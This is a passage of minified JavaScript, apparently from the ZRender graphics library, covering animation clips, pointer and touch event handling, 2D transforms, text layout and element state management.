t},e.prototype.start=function(e){if(!(this._started>0)){this._started=1;for(var t=this,n=[],r=this._maxTime||0,i=0;i<this._trackKeys.length;i++){var a=this._trackKeys[i],o=this._tracks[a],s=this._getAdditiveTrack(a),c=o.keyframes,l=c.length;if(o.prepare(r,s),o.needsAnimate())if(!this._allowDiscrete&&o.discrete){var u=c[l-1];u&&(t._target[o.propName]=u.rawValue),o.setFinished()}else n.push(o)}if(n.length||this._force){var d=new fi({life:r,loop:this._loop,delay:this._delay||0,onframe:function(e){t._started=2;var r=t._additiveAnimators;if(r){for(var i=!1,a=0;a<r.length;a++)if(r[a]._clip){i=!0;break}i||(t._additiveAnimators=null)}for(var a=0;a<n.length;a++)n[a].step(t._target,e);var o=t._onframeCbs;if(o)for(var a=0;a<o.length;a++)o[a](t._target,e)},ondestroy:function(){t._doneCallback()}});this._clip=d,this.animation&&this.animation.addClip(d),e&&d.setEasing(e)}else this._doneCallback();return this}},e.prototype.stop=function(e){if(this._clip){var t=this._clip;e&&t.onframe(1),this._abortedCallback()}},e.prototype.delay=function(e){return this._delay=e,this},e.prototype.during=function(e){return e&&(this._onframeCbs||=[],this._onframeCbs.push(e)),this},e.prototype.done=function(e){return e&&(this._doneCbs||=[],this._doneCbs.push(e)),this},e.prototype.aborted=function(e){return e&&(this._abortedCbs||=[],this._abortedCbs.push(e)),this},e.prototype.getClip=function(){return this._clip},e.prototype.getTrack=function(e){return this._tracks[e]},e.prototype.getTracks=function(){var e=this;return R(this._trackKeys,function(t){return e._tracks[t]})},e.prototype.stopTracks=function(e,t){if(!e.length||!this._clip)return!0;for(var n=this._tracks,r=this._trackKeys,i=0;i<e.length;i++){var a=n[e[i]];a&&!a.isFinished()&&(t?a.step(this._target,1):this._started===1&&a.step(this._target,0),a.setFinished())}for(var o=!0,i=0;i<r.length;i++)if(!n[r[i]].isFinished()){o=!1;break}return o&&this._abortedCallback(),o},e.prototype.saveTo=function(e,t,n){if(e){t||=this._trackKeys;for(var r=0;r<t.length;r++){var i=t[r],a=this._tracks[i];if(!(!a||a.isFinished())){var o=a.keyframes,s=o[n?0:o.length-1];s&&(e[i]=ga(s.rawValue))}}}},e.prototype.__changeFinalValue=function(e,t){t||=dt(e);for(var n=0;n<t.length;n++){var r=t[n],i=this._tracks[r];if(i){var a=i.keyframes;if(a.length>1){var o=a.pop();i.addKeyframe(o.time,e[r]),i.prepare(this._maxTime,i.getAdditiveTrack())}}}},e}();function ja(){return new Date().getTime()}var Ma=function(e){N(t,e);function t(t){var n=e.call(this)||this;return n._running=!1,n._time=0,n._pausedTime=0,n._pauseStart=0,n._paused=!1,t||={},n.stage=t.stage||{},n}return t.prototype.addClip=function(e){e.animation&&this.removeClip(e),this._head?(this._tail.next=e,e.prev=this._tail,e.next=null,this._tail=e):this._head=this._tail=e,e.animation=this},t.prototype.addAnimator=function(e){e.animation=this;var t=e.getClip();t&&this.addClip(t)},t.prototype.removeClip=function(e){if(e.animation){var t=e.prev,n=e.next;t?t.next=n:this._head=n,n?n.prev=t:this._tail=t,e.next=e.prev=e.animation=null}},t.prototype.removeAnimator=function(e){var t=e.getClip();t&&this.removeClip(t),e.animation=null},t.prototype.update=function(e){for(var t=ja()-this._pausedTime,n=t-this._time,r=this._head;r;){var i=r.next;r.step(t,n)?(r.ondestroy(),this.removeClip(r),r=i):r=i}this._time=t,e||(this.trigger(`frame`,n),this.stage.update&&this.stage.update())},t.prototype._startLoop=function(){var e=this;this._running=!0;function t(){e._running&&(Lr(t),!e._paused&&e.update())}Lr(t)},t.prototype.start=function(){this._running||(this._time=ja(),this._pausedTime=0,this._startLoop())},t.prototype.stop=function(){this._running=!1},t.prototype.pause=function(){this._paused||=(this._pauseStart=ja(),!0)},t.prototype.resume=function(){this._paused&&=(this._pausedTime+=ja()-this._pauseStart,!1)},t.prototype.clear=function(){for(var e=this._head;e;){var t=e.next;e.prev=e.next=e.animation=null,e=t}this._head=this._tail=null},t.prototype.isFinished=function(){return this._head==null},t.prototype.animate=function(e,t){t||={},this.start();var n=new Aa(e,t.loop);return this.addAnimator(n),n},t}(ln),Na=300,Pa=Ne.domSupported,Fa=(function(){var e=[`click`,`dblclick`,`mousewheel`,`wheel`,`mouseout`,`mouseup`,`mousedown`,`mousemove`,`contextmenu`],t=[`touchstart`,`touchend`,`touchmove`],n={pointerdown:1,pointerup:1,pointermove:1,pointerout:1};return{mouse:e,touch:t,pointer:R(e,function(e){var t=e.replace(`mouse`,`pointer`);return n.hasOwnProperty(t)?t:e})}})(),Ia={mouse:[`mousemove`,`mouseup`],pointer:[`pointermove`,`pointerup`]},La=!1;function Ra(e){var t=e.pointerType;return t===`pen`||t===`touch`}function za(e){e.touching=!0,e.touchTimer!=null&&(clearTimeout(e.touchTimer),e.touchTimer=null),e.touchTimer=setTimeout(function(){e.touching=!1,e.touchTimer=null},700)}function Ba(e){e&&(e.zrByTouch=!0)}function Va(e,t){return An(e.dom,new Ua(e,t),!0)}function Ha(e,t){for(var n=t,r=!1;n&&n.nodeType!==9&&!(r=n.domBelongToZr||n!==t&&n===e.painterRoot);)n=n.parentNode;return r}var Ua=function(){function e(e,t){this.stopPropagation=zt,this.stopImmediatePropagation=zt,this.preventDefault=zt,this.type=t.type,this.target=this.currentTarget=e.dom,this.pointerType=t.pointerType,this.clientX=t.clientX,this.clientY=t.clientY}return e}(),Wa={mousedown:function(e){e=An(this.dom,e),this.__mayPointerCapture=[e.zrX,e.zrY],this.trigger(`mousedown`,e)},mousemove:function(e){e=An(this.dom,e);var t=this.__mayPointerCapture;t&&(e.zrX!==t[0]||e.zrY!==t[1])&&this.__togglePointerCapture(!0),this.trigger(`mousemove`,e)},mouseup:function(e){e=An(this.dom,e),this.__togglePointerCapture(!1),this.trigger(`mouseup`,e)},mouseout:function(e){e=An(this.dom,e);var t=e.toElement||e.relatedTarget;Ha(this,t)||(this.__pointerCapturing&&(e.zrEventControl=`no_globalout`),this.trigger(`mouseout`,e))},wheel:function(e){La=!0,e=An(this.dom,e),this.trigger(`mousewheel`,e)},mousewheel:function(e){La||(e=An(this.dom,e),this.trigger(`mousewheel`,e))},touchstart:function(e){e=An(this.dom,e),Ba(e),this.__lastTouchMoment=new Date,this.handler.processGesture(e,`start`),Wa.mousemove.call(this,e),Wa.mousedown.call(this,e)},touchmove:function(e){e=An(this.dom,e),Ba(e),this.handler.processGesture(e,`change`),Wa.mousemove.call(this,e)},touchend:function(e){e=An(this.dom,e),Ba(e),this.handler.processGesture(e,`end`),Wa.mouseup.call(this,e),new Date-+this.__lastTouchMoment<Na&&Wa.click.call(this,e)},pointerdown:function(e){Wa.mousedown.call(this,e)},pointermove:function(e){Ra(e)||Wa.mousemove.call(this,e)},pointerup:function(e){Wa.mouseup.call(this,e)},pointerout:function(e){Ra(e)||Wa.mouseout.call(this,e)}};L([`click`,`dblclick`,`contextmenu`],function(e){Wa[e]=function(t){t=An(this.dom,t),this.trigger(e,t)}});var Ga={pointermove:function(e){Ra(e)||Ga.mousemove.call(this,e)},pointerup:function(e){Ga.mouseup.call(this,e)},mousemove:function(e){this.trigger(`mousemove`,e)},mouseup:function(e){var t=this.__pointerCapturing;this.__togglePointerCapture(!1),this.trigger(`mouseup`,e),t&&(e.zrEventControl=`only_globalout`,this.trigger(`mouseout`,e))}};function Ka(e,t){var n=t.domHandlers;Ne.pointerEventsSupported?L(Fa.pointer,function(r){Ja(t,r,function(t){n[r].call(e,t)})}):(Ne.touchEventsSupported&&L(Fa.touch,function(r){Ja(t,r,function(i){n[r].call(e,i),za(t)})}),L(Fa.mouse,function(r){Ja(t,r,function(i){i=kn(i),t.touching||n[r].call(e,i)})}))}function qa(e,t){Ne.pointerEventsSupported?L(Ia.pointer,n):Ne.touchEventsSupported||L(Ia.mouse,n);function n(n){function r(r){r=kn(r),Ha(e,r.target)||(r=Va(e,r),t.domHandlers[n].call(e,r))}Ja(t,n,r,{capture:!0})}}function Ja(e,t,n,r){e.mounted[t]=n,e.listenerOpts[t]=r,Mn(e.domTarget,t,n,r)}function Ya(e){var t=e.mounted;for(var n in t)t.hasOwnProperty(n)&&Nn(e.domTarget,n,t[n],e.listenerOpts[n]);e.mounted={}}var Xa=function(){function e(e,t){this.mounted={},this.listenerOpts={},this.touching=!1,this.domTarget=e,this.domHandlers=t}return e}(),Za=function(e){N(t,e);function t(t,n){var r=e.call(this)||this;return r.__pointerCapturing=!1,r.dom=t,r.painterRoot=n,r._localHandlerScope=new Xa(t,Wa),Pa&&(r._globalHandlerScope=new Xa(document,Ga)),Ka(r,r._localHandlerScope),r}return t.prototype.dispose=function(){Ya(this._localHandlerScope),Pa&&Ya(this._globalHandlerScope)},t.prototype.setCursor=function(e){this.dom.style&&(this.dom.style.cursor=e||`default`)},t.prototype.__togglePointerCapture=function(e){if(this.__mayPointerCapture=null,Pa&&this.__pointerCapturing^+e){this.__pointerCapturing=e;var t=this._globalHandlerScope;e?qa(this,t):Ya(t)}},t}(ln),Qa=1;Ne.hasGlobalWindow&&(Qa=Math.max(window.devicePixelRatio||window.screen&&window.screen.deviceXDPI/window.screen.logicalXDPI||1,1));var $a=Qa,eo=.4,to=`#333`,no=`#ccc`,ro=`#eee`,io=Vn,ao=5e-5;function oo(e){return e>ao||e<-ao}var so=[],co=[],lo=Bn(),uo=Math.abs,fo=function(){function e(){}return e.prototype.getLocalTransform=function(t){return e.getLocalTransform(this,t)},e.prototype.setPosition=function(e){this.x=e[0],this.y=e[1]},e.prototype.setScale=function(e){this.scaleX=e[0],this.scaleY=e[1]},e.prototype.setSkew=function(e){this.skewX=e[0],this.skewY=e[1]},e.prototype.setOrigin=function(e){this.originX=e[0],this.originY=e[1]},e.prototype.needLocalTransform=function(){return oo(this.rotation)||oo(this.x)||oo(this.y)||oo(this.scaleX-1)||oo(this.scaleY-1)||oo(this.skewX)||oo(this.skewY)},e.prototype.updateTransform=function(){var e=this.parent&&this.parent.transform,t=this.needLocalTransform(),n=this.transform;if(!(t||e)){n&&(io(n),this.invTransform=null);return}n||=Bn(),t?this.getLocalTransform(n):io(n),e&&(t?Un(n,e,n):Hn(n,e)),this.transform=n,this._resolveGlobalScaleRatio(n)},e.prototype._resolveGlobalScaleRatio=function(e){var t=this.globalScaleRatio;if(t!=null&&t!==1){this.getGlobalScale(so);var n=so[0]<0?-1:1,r=so[1]<0?-1:1,i=((so[0]-n)*t+n)/so[0]||0,a=((so[1]-r)*t+r)/so[1]||0;e[0]*=i,e[1]*=i,e[2]*=a,e[3]*=a}this.invTransform=this.invTransform||Bn(),qn(this.invTransform,e)},e.prototype.getComputedTransform=function(){for(var e=this,t=[];e;)t.push(e),e=e.parent;for(;e=t.pop();)e.updateTransform();return this.transform},e.prototype.setLocalTransform=function(e){if(e){var t=e[0]*e[0]+e[1]*e[1],n=e[2]*e[2]+e[3]*e[3],r=Math.atan2(e[1],e[0]),i=Math.PI/2+r-Math.atan2(e[3],e[2]);n=Math.sqrt(n)*Math.cos(i),t=Math.sqrt(t),this.skewX=i,this.skewY=0,this.rotation=-r,this.x=+e[4],this.y=+e[5],this.scaleX=t,this.scaleY=n,this.originX=0,this.originY=0}},e.prototype.decomposeTransform=function(){if(this.transform){var e=this.parent,t=this.transform;e&&e.transform&&(e.invTransform=e.invTransform||Bn(),Un(co,e.invTransform,t),t=co);var n=this.originX,r=this.originY;(n||r)&&(lo[4]=n,lo[5]=r,Un(co,t,lo),co[4]-=n,co[5]-=r,t=co),this.setLocalTransform(t)}},e.prototype.getGlobalScale=function(e){var t=this.transform;return e||=[],t?(e[0]=Math.sqrt(t[0]*t[0]+t[1]*t[1]),e[1]=Math.sqrt(t[2]*t[2]+t[3]*t[3]),t[0]<0&&(e[0]=-e[0]),t[3]<0&&(e[1]=-e[1]),e):(e[0]=1,e[1]=1,e)},e.prototype.transformCoordToLocal=function(e,t){var n=[e,t],r=this.invTransform;return r&&rn(n,n,r),n},e.prototype.transformCoordToGlobal=function(e,t){var n=[e,t],r=this.transform;return r&&rn(n,n,r),n},e.prototype.getLineScale=function(){var e=this.transform;return e&&uo(e[0]-1)>1e-10&&uo(e[3]-1)>1e-10?Math.sqrt(uo(e[0]*e[3]-e[2]*e[1])):1},e.prototype.copyTransform=function(e){mo(this,e)},e.getLocalTransform=function(e,t){t||=[];var n=e.originX||0,r=e.originY||0,i=e.scaleX,a=e.scaleY,o=e.anchorX,s=e.anchorY,c=e.rotation||0,l=e.x,u=e.y,d=e.skewX?Math.tan(e.skewX):0,f=e.skewY?Math.tan(-e.skewY):0;if(n||r||o||s){var p=n+o,m=r+s;t[4]=-p*i-d*m*a,t[5]=-m*a-f*p*i}else t[4]=t[5]=0;return t[0]=i,t[3]=a,t[1]=f*i,t[2]=d*a,c&&Gn(t,t,c),t[4]+=n+l,t[5]+=r+u,t},e.initDefaultProps=(function(){var t=e.prototype;t.scaleX=t.scaleY=t.globalScaleRatio=1,t.x=t.y=t.originX=t.originY=t.skewX=t.skewY=t.rotation=t.anchorX=t.anchorY=0})(),e}(),po=[`x`,`y`,`originX`,`originY`,`anchorX`,`anchorY`,`rotation`,`scaleX`,`scaleY`,`skewX`,`skewY`];function mo(e,t){for(var n=0;n<po.length;n++){var r=po[n];e[r]=t[r]}}function ho(e){go||=new hi(100),e||=`12px sans-serif`;var t=go.get(e);return t||(t={font:e,strWidthCache:new hi(500),asciiWidthMap:null,asciiWidthMapTried:!1,stWideCharWidth:Ve.measureText(`国`,e).width,asciiCharWidth:Ve.measureText(`a`,e).width},go.put(e,t)),t}var go;function _o(e){if(!(vo>=yo)){e||=`12px sans-serif`;for(var t=[],n=+new Date,r=0;r<=127;r++)t[r]=Ve.measureText(String.fromCharCode(r),e).width;var i=+new Date-n;return i>16?vo=yo:i>2&&vo++,t}}var vo=0,yo=5;function bo(e,t){return e.asciiWidthMapTried||=(e.asciiWidthMap=_o(e.font),!0),0<=t&&t<=127?e.asciiWidthMap==null?e.asciiCharWidth:e.asciiWidthMap[t]:e.stWideCharWidth}function xo(e,t){var n=e.strWidthCache,r=n.get(t);return r??(r=Ve.measureText(t,e.font).width,n.put(t,r)),r}function So(e,t,n,r){var i=xo(ho(t),e),a=Eo(t);return new J(wo(0,i,n),To(0,a,r),i,a)}function Co(e,t,n,r){var i=((e||``)+``).split(`
+`);if(i.length===1)return So(i[0],t,n,r);for(var a=new J(0,0,0,0),o=0;o<i.length;o++){var s=So(i[o],t,n,r);o===0?a.copy(s):a.union(s)}return a}function wo(e,t,n,r){return n===`right`?r?e+=t:e-=t:n===`center`&&(r?e+=t/2:e-=t/2),e}function To(e,t,n,r){return n===`middle`?r?e+=t/2:e-=t/2:n===`bottom`&&(r?e+=t:e-=t),e}function Eo(e){return ho(e).stWideCharWidth}function Do(e,t){return typeof e==`string`?e.lastIndexOf(`%`)>=0?parseFloat(e)/100*t:parseFloat(e):e}function Oo(e,t,n){var r=t.position||`inside`,i=t.distance==null?5:t.distance,a=n.height,o=n.width,s=a/2,c=n.x,l=n.y,u=`left`,d=`top`;if(r instanceof Array)c+=Do(r[0],n.width),l+=Do(r[1],n.height),u=null,d=null;else switch(r){case`left`:c-=i,l+=s,u=`right`,d=`middle`;break;case`right`:c+=i+o,l+=s,d=`middle`;break;case`top`:c+=o/2,l-=i,u=`center`,d=`bottom`;break;case`bottom`:c+=o/2,l+=a+i,u=`center`;break;case`inside`:c+=o/2,l+=s,u=`center`,d=`middle`;break;case`insideLeft`:c+=i,l+=s,d=`middle`;break;case`insideRight`:c+=o-i,l+=s,u=`right`,d=`middle`;break;case`insideTop`:c+=o/2,l+=i,u=`center`;break;case`insideBottom`:c+=o/2,l+=a-i,u=`center`,d=`bottom`;break;case`insideTopLeft`:c+=i,l+=i;break;case`insideTopRight`:c+=o-i,l+=i,u=`right`;break;case`insideBottomLeft`:c+=i,l+=a-i,d=`bottom`;break;case`insideBottomRight`:c+=o-i,l+=a-i,u=`right`,d=`bottom`;break}return e||={},e.x=c,e.y=l,e.align=u,e.verticalAlign=d,e}var ko=`__zr_normal__`,Ao=po.concat([`ignore`]),jo=ct(po,function(e,t){return e[t]=!0,e},{ignore:!1}),Mo={},No=new J(0,0,0,0),Po=[],Fo=function(){function e(e){this.id=et(),this.animators=[],this.currentStates=[],this.states={},this._init(e)}return e.prototype._init=function(e){this.attr(e)},e.prototype.drift=function(e,t,n){switch(this.draggable){case`horizontal`:t=0;break;case`vertical`:e=0;break}var r=this.transform;r||=this.transform=[1,0,0,1,0,0],r[4]+=e,r[5]+=t,this.decomposeTransform(),this.markRedraw()},e.prototype.beforeUpdate=function(){},e.prototype.afterUpdate=function(){},e.prototype.update=function(){this.updateTransform(),this.__dirty&&this.updateInnerText()},e.prototype.updateInnerText=function(e){var t=this._textContent;if(t&&(!t.ignore||e)){this.textConfig||={};var n=this.textConfig,r=n.local,i=t.innerTransformable,a=void 0,o=void 0,s=!1;i.parent=r?this:null;var c=!1;i.copyTransform(t);var l=n.position!=null,u=n.autoOverflowArea,d=void 0;if((u||l)&&(d=No,n.layoutRect?d.copy(n.layoutRect):d.copy(this.getBoundingRect()),r||d.applyTransform(this.transform)),l){this.calculateTextPosition?this.calculateTextPosition(Mo,n,d):Oo(Mo,n,d),i.x=Mo.x,i.y=Mo.y,a=Mo.align,o=Mo.verticalAlign;var f=n.origin;if(f&&n.rotation!=null){var p=void 0,m=void 0;f===`center`?(p=d.width*.5,m=d.height*.5):(p=Do(f[0],d.width),m=Do(f[1],d.height)),c=!0,i.originX=-i.x+p+(r?0:d.x),i.originY=-i.y+m+(r?0:d.y)}}n.rotation!=null&&(i.rotation=n.rotation);var h=n.offset;h&&(i.x+=h[0],i.y+=h[1],c||(i.originX=-h[0],i.originY=-h[1]));var g=this._innerTextDefaultStyle||={};if(u){var _=g.overflowRect=g.overflowRect||new J(0,0,0,0);i.getLocalTransform(Po),qn(Po,Po),J.copy(_,d),_.applyTransform(Po)}else g.overflowRect=null;var v=n.inside==null?typeof n.position==`string`&&n.position.indexOf(`inside`)>=0:n.inside,y=void 0,b=void 0,x=void 0;v&&this.canBeInsideText()?(y=n.insideFill,b=n.insideStroke,(y==null||y===`auto`)&&(y=this.getInsideTextFill()),(b==null||b===`auto`)&&(b=this.getInsideTextStroke(y),x=!0)):(y=n.outsideFill,b=n.outsideStroke,(y==null||y===`auto`)&&(y=this.getOutsideFill()),(b==null||b===`auto`)&&(b=this.getOutsideStroke(y),x=!0)),y||=`#000`,(y!==g.fill||b!==g.stroke||x!==g.autoStroke||a!==g.align||o!==g.verticalAlign)&&(s=!0,g.fill=y,g.stroke=b,g.autoStroke=x,g.align=a,g.verticalAlign=o,t.setDefaultTextStyle(g)),t.__dirty|=1,s&&t.dirtyStyle(!0)}},e.prototype.canBeInsideText=function(){return!0},e.prototype.getInsideTextFill=function(){return`#fff`},e.prototype.getInsideTextStroke=function(e){return`#000`},e.prototype.getOutsideFill=function(){return this.__zr&&this.__zr.isDarkMode()?no:to},e.prototype.getOutsideStroke=function(e){var t=this.__zr&&this.__zr.getBackgroundColor(),n=typeof t==`string`&&ki(t);n||=[255,255,255,1];for(var r=n[3],i=this.__zr.isDarkMode(),a=0;a<3;a++)n[a]=n[a]*r+(i?0:255)*(1-r);return n[3]=1,Li(n,`rgba`)},e.prototype.traverse=function(e,t){},e.prototype.attrKV=function(e,t){e===`textConfig`?this.setTextConfig(t):e===`textContent`?this.setTextContent(t):e===`clipPath`?this.setClipPath(t):e===`extra`?(this.extra=this.extra||{},F(this.extra,t)):this[e]=t},e.prototype.hide=function(){this.ignore=!0,this.markRedraw()},e.prototype.show=function(){this.ignore=!1,this.markRedraw()},e.prototype.attr=function(e,t){if(typeof e==`string`)this.attrKV(e,t);else if(U(e))for(var n=dt(e),r=0;r<n.length;r++){var i=n[r];this.attrKV(i,e[i])}return this.markRedraw(),this},e.prototype.saveCurrentToNormalState=function(e){this._innerSaveToNormal(e);for(var t=this._normalState,n=0;n<this.animators.length;n++){var r=this.animators[n],i=r.__fromStateTransition;if(!(r.getLoop()||i&&i!==`__zr_normal__`)){var a=r.targetName,o=a?t[a]:t;r.saveTo(o)}}},e.prototype._innerSaveToNormal=function(e){var t=this._normalState;t||=this._normalState={},e.textConfig&&!t.textConfig&&(t.textConfig=this.textConfig),this._savePrimaryToNormal(e,t,Ao)},e.prototype._savePrimaryToNormal=function(e,t,n){for(var r=0;r<n.length;r++){var i=n[r];e[i]!=null&&!(i in t)&&(t[i]=this[i])}},e.prototype.hasState=function(){return this.currentStates.length>0},e.prototype.getState=function(e){return this.states[e]},e.prototype.ensureState=function(e){var t=this.states;return t[e]||(t[e]={}),t[e]},e.prototype.clearStates=function(e){this.useState(ko,!1,e)},e.prototype.useState=function(e,t,n,r){var i=e===ko;if(!(!this.hasState()&&i)){var a=this.currentStates,o=this.stateTransition;if(!(it(a,e)>=0&&(t||a.length===1))){var s;if(this.stateProxy&&!i&&(s=this.stateProxy(e)),s||=this.states&&this.states[e],!s&&!i){tt(`State `+e+` not exists.`);return}i||this.saveCurrentToNormalState(s);var c=!!(s&&s.hoverLayer||r);c&&this._toggleHoverLayerFlag(!0),this._applyStateObj(e,s,this._normalState,t,!n&&!this.__inHover&&o&&o.duration>0,o);var l=this._textContent,u=this._textGuide;return l&&l.useState(e,t,n,c),u&&u.useState(e,t,n,c),i?(this.currentStates=[],this._normalState={}):t?this.currentStates.push(e):this.currentStates=[e],this._updateAnimationTargets(),this.markRedraw(),!c&&this.__inHover&&(this._toggleHoverLayerFlag(!1),this.__dirty&=-2),s}}},e.prototype.useStates=function(e,t,n){if(!e.length)this.clearStates();else{var r=[],i=this.currentStates,a=e.length,o=a===i.length;if(o){for(var s=0;s<a;s++)if(e[s]!==i[s]){o=!1;break}}if(o)return;for(var s=0;s<a;s++){var c=e[s],l=void 0;this.stateProxy&&(l=this.stateProxy(c,e)),l||=this.states[c],l&&r.push(l)}var u=r[a-1],d=!!(u&&u.hoverLayer||n);d&&this._toggleHoverLayerFlag(!0);var f=this._mergeStates(r),p=this.stateTransition;this.saveCurrentToNormalState(f),this._applyStateObj(e.join(`,`),f,this._normalState,!1,!t&&!this.__inHover&&p&&p.duration>0,p);var m=this._textContent,h=this._textGuide;m&&m.useStates(e,t,d),h&&h.useStates(e,t,d),this._updateAnimationTargets(),this.currentStates=e.slice(),this.markRedraw(),!d&&this.__inHover&&(this._toggleHoverLayerFlag(!1),this.__dirty&=-2)}},e.prototype.isSilent=function(){for(var e=this;e;){if(e.silent)return!0;var t=e.__hostTarget;e=t?e.ignoreHostSilent?null:t:e.parent}return!1},e.prototype._updateAnimationTargets=function(){for(var e=0;e<this.animators.length;e++){var t=this.animators[e];t.targetName&&t.changeTarget(this[t.targetName])}},e.prototype.removeState=function(e){var t=it(this.currentStates,e);if(t>=0){var n=this.currentStates.slice();n.splice(t,1),this.useStates(n)}},e.prototype.replaceState=function(e,t,n){var r=this.currentStates.slice(),i=it(r,e),a=it(r,t)>=0;i>=0?a?r.splice(i,1):r[i]=t:n&&!a&&r.push(t),this.useStates(r)},e.prototype.toggleState=function(e,t){t?this.useState(e,!0):this.removeState(e)},e.prototype._mergeStates=function(e){for(var t={},n,r=0;r<e.length;r++){var i=e[r];F(t,i),i.textConfig&&(n||={},F(n,i.textConfig))}return n&&(t.textConfig=n),t},e.prototype._applyStateObj=function(e,t,n,r,i,a){var o=!(t&&r);t&&t.textConfig?(this.textConfig=F({},r?this.textConfig:n.textConfig),F(this.textConfig,t.textConfig)):o&&n.textConfig&&(this.textConfig=n.textConfig);for(var s={},c=!1,l=0;l<Ao.length;l++){var u=Ao[l],d=i&&jo[u];t&&t[u]!=null?d?(c=!0,s[u]=t[u]):this[u]=t[u]:o&&n[u]!=null&&(d?(c=!0,s[u]=n[u]):this[u]=n[u])}if(!i)for(var l=0;l<this.animators.length;l++){var f=this.animators[l],p=f.targetName;f.getLoop()||f.__changeFinalValue(p?(t||n)[p]:t||n)}c&&this._transitionState(e,s,a)},e.prototype._attachComponent=function(e){if(!(e.__zr&&!e.__hostTarget)&&e!==this){var t=this.__zr;t&&e.addSelfToZr(t),e.__zr=t,e.__hostTarget=this}},e.prototype._detachComponent=function(e){e.__zr&&e.removeSelfFromZr(e.__zr),e.__zr=null,e.__hostTarget=null},e.prototype.getClipPath=function(){return this._clipPath},e.prototype.setClipPath=function(e){this._clipPath&&this._clipPath!==e&&this.removeClipPath(),this._attachComponent(e),this._clipPath=e,this.markRedraw()},e.prototype.removeClipPath=function(){var e=this._clipPath;e&&(this._detachComponent(e),this._clipPath=null,this.markRedraw())},e.prototype.getTextContent=function(){return this._textContent},e.prototype.setTextContent=function(e){var t=this._textContent;t!==e&&(t&&t!==e&&this.removeTextContent(),e.innerTransformable=new fo,this._attachComponent(e),this._textContent=e,this.markRedraw())},e.prototype.setTextConfig=function(e){this.textConfig||={},F(this.textConfig,e),this.markRedraw()},e.prototype.removeTextConfig=function(){this.textConfig=null,this.markRedraw()},e.prototype.removeTextContent=function(){var e=this._textContent;e&&(e.innerTransformable=null,this._detachComponent(e),this._textContent=null,this._innerTextDefaultStyle=null,this.markRedraw())},e.prototype.getTextGuideLine=function(){return this._textGuide},e.prototype.setTextGuideLine=function(e){this._textGuide&&this._textGuide!==e&&this.removeTextGuideLine(),this._attachComponent(e),this._textGuide=e,this.markRedraw()},e.prototype.removeTextGuideLine=function(){var e=this._textGuide;e&&(this._detachComponent(e),this._textGuide=null,this.markRedraw())},e.prototype.markRedraw=function(){this.__dirty|=1;var e=this.__zr;e&&(this.__inHover?e.refreshHover():e.refresh()),this.__hostTarget&&this.__hostTarget.markRedraw()},e.prototype.dirty=function(){this.markRedraw()},e.prototype._toggleHoverLayerFlag=function(e){this.__inHover=e;var t=this._textContent,n=this._textGuide;t&&(t.__inHover=e),n&&(n.__inHover=e)},e.prototype.addSelfToZr=function(e){if(this.__zr!==e){this.__zr=e;var t=this.animators;if(t)for(var n=0;n<t.length;n++)e.animation.addAnimator(t[n]);this._clipPath&&this._clipPath.addSelfToZr(e),this._textContent&&this._textContent.addSelfToZr(e),this._textGuide&&this._textGuide.addSelfToZr(e)}},e.prototype.removeSelfFromZr=function(e){if(this.__zr){this.__zr=null;var t=this.animators;if(t)for(var n=0;n<t.length;n++)e.animation.removeAnimator(t[n]);this._clipPath&&this._clipPath.removeSelfFromZr(e),this._textContent&&this._textContent.removeSelfFromZr(e),this._textGuide&&this._textGuide.removeSelfFromZr(e)}},e.prototype.animate=function(e,t,n){var r=new Aa(e?this[e]:this,t,n);return e&&(r.targetName=e),this.addAnimator(r,e),r},e.prototype.addAnimator=function(e,t){var n=this.__zr,r=this;e.during(function(){r.updateDuringAnimation(t)}).done(function(){var t=r.animators,n=it(t,e);n>=0&&t.splice(n,1)}),this.animators.push(e),n&&n.animation.addAnimator(e),n&&n.wakeUp()},e.prototype.updateDuringAnimation=function(e){this.markRedraw()},e.prototype.stopAnimation=function(e,t){for(var n=this.animators,r=n.length,i=[],a=0;a<r;a++){var o=n[a];!e||e===o.scope?o.stop(t):i.push(o)}return this.animators=i,this},e.prototype.animateTo=function(e,t,n){Io(this,e,t,n)},e.prototype.animateFrom=function(e,t,n){Io(this,e,t,n,!0)},e.prototype._transitionState=function(e,t,n,r){for(var i=Io(this,t,n,r),a=0;a<i.length;a++)i[a].__fromStateTransition=e},e.prototype.getBoundingRect=function(){return null},e.prototype.getPaintRect=function(){return null},e.initDefaultProps=(function(){var t=e.prototype;t.type=`element`,t.name=``,t.ignore=t.silent=t.ignoreHostSilent=t.isGroup=t.draggable=t.dragging=t.ignoreClip=t.__inHover=!1,t.__dirty=1;function n(e,n,r,i){Object.defineProperty(t,e,{get:function(){if(!this[n]){var e=this[n]=[];a(this,e)}return this[n]},set:function(e){this[r]=e[0],this[i]=e[1],this[n]=e,a(this,e)}});function a(e,t){Object.defineProperty(t,0,{get:function(){return e[r]},set:function(t){e[r]=t}}),Object.defineProperty(t,1,{get:function(){return e[i]},set:function(t){e[i]=t}})}}Object.defineProperty&&(n(`position`,`_legacyPos`,`x`,`y`),n(`scale`,`_legacyScale`,`scaleX`,`scaleY`),n(`origin`,`_legacyOrigin`,`originX`,`originY`))})(),e}();ot(Fo,ln),ot(Fo,fo);function Io(e,t,n,r,i){n||={};var a=[];Ho(e,``,e,t,n,r,a,i);var o=a.length,s=!1,c=n.done,l=n.aborted,u=function(){s=!0,o--,o<=0&&(s?c&&c():l&&l())},d=function(){o--,o<=0&&(s?c&&c():l&&l())};o||c&&c(),a.length>0&&n.during&&a[0].during(function(e,t){n.during(t)});for(var f=0;f<a.length;f++){var p=a[f];u&&p.done(u),d&&p.aborted(d),n.force&&p.duration(n.duration),p.start(n.easing)}return a}function Lo(e,t,n){for(var r=0;r<n;r++)e[r]=t[r]}function Ro(e){return st(e[0])}function zo(e,t,n){if(st(t[n]))if(st(e[n])||(e[n]=[]),_t(t[n])){var r=t[n].length;e[n].length!==r&&(e[n]=new t[n].constructor(r),Lo(e[n],t[n],r))}else{var i=t[n],a=e[n],o=i.length;if(Ro(i))for(var s=i[0].length,c=0;c<o;c++)a[c]?Lo(a[c],i[c],s):a[c]=Array.prototype.slice.call(i[c]);else Lo(a,i,o);a.length=i.length}else e[n]=t[n]}function Bo(e,t){return e===t||st(e)&&st(t)&&Vo(e,t)}function Vo(e,t){var n=e.length;if(n!==t.length)return!1;for(var r=0;r<n;r++)if(e[r]!==t[r])return!1;return!0}function Ho(e,t,n,r,i,a,o,s){for(var c=dt(r),l=i.duration,u=i.delay,d=i.additive,f=i.setToFinal,p=!U(a),m=e.animators,h=[],g=0;g<c.length;g++){var 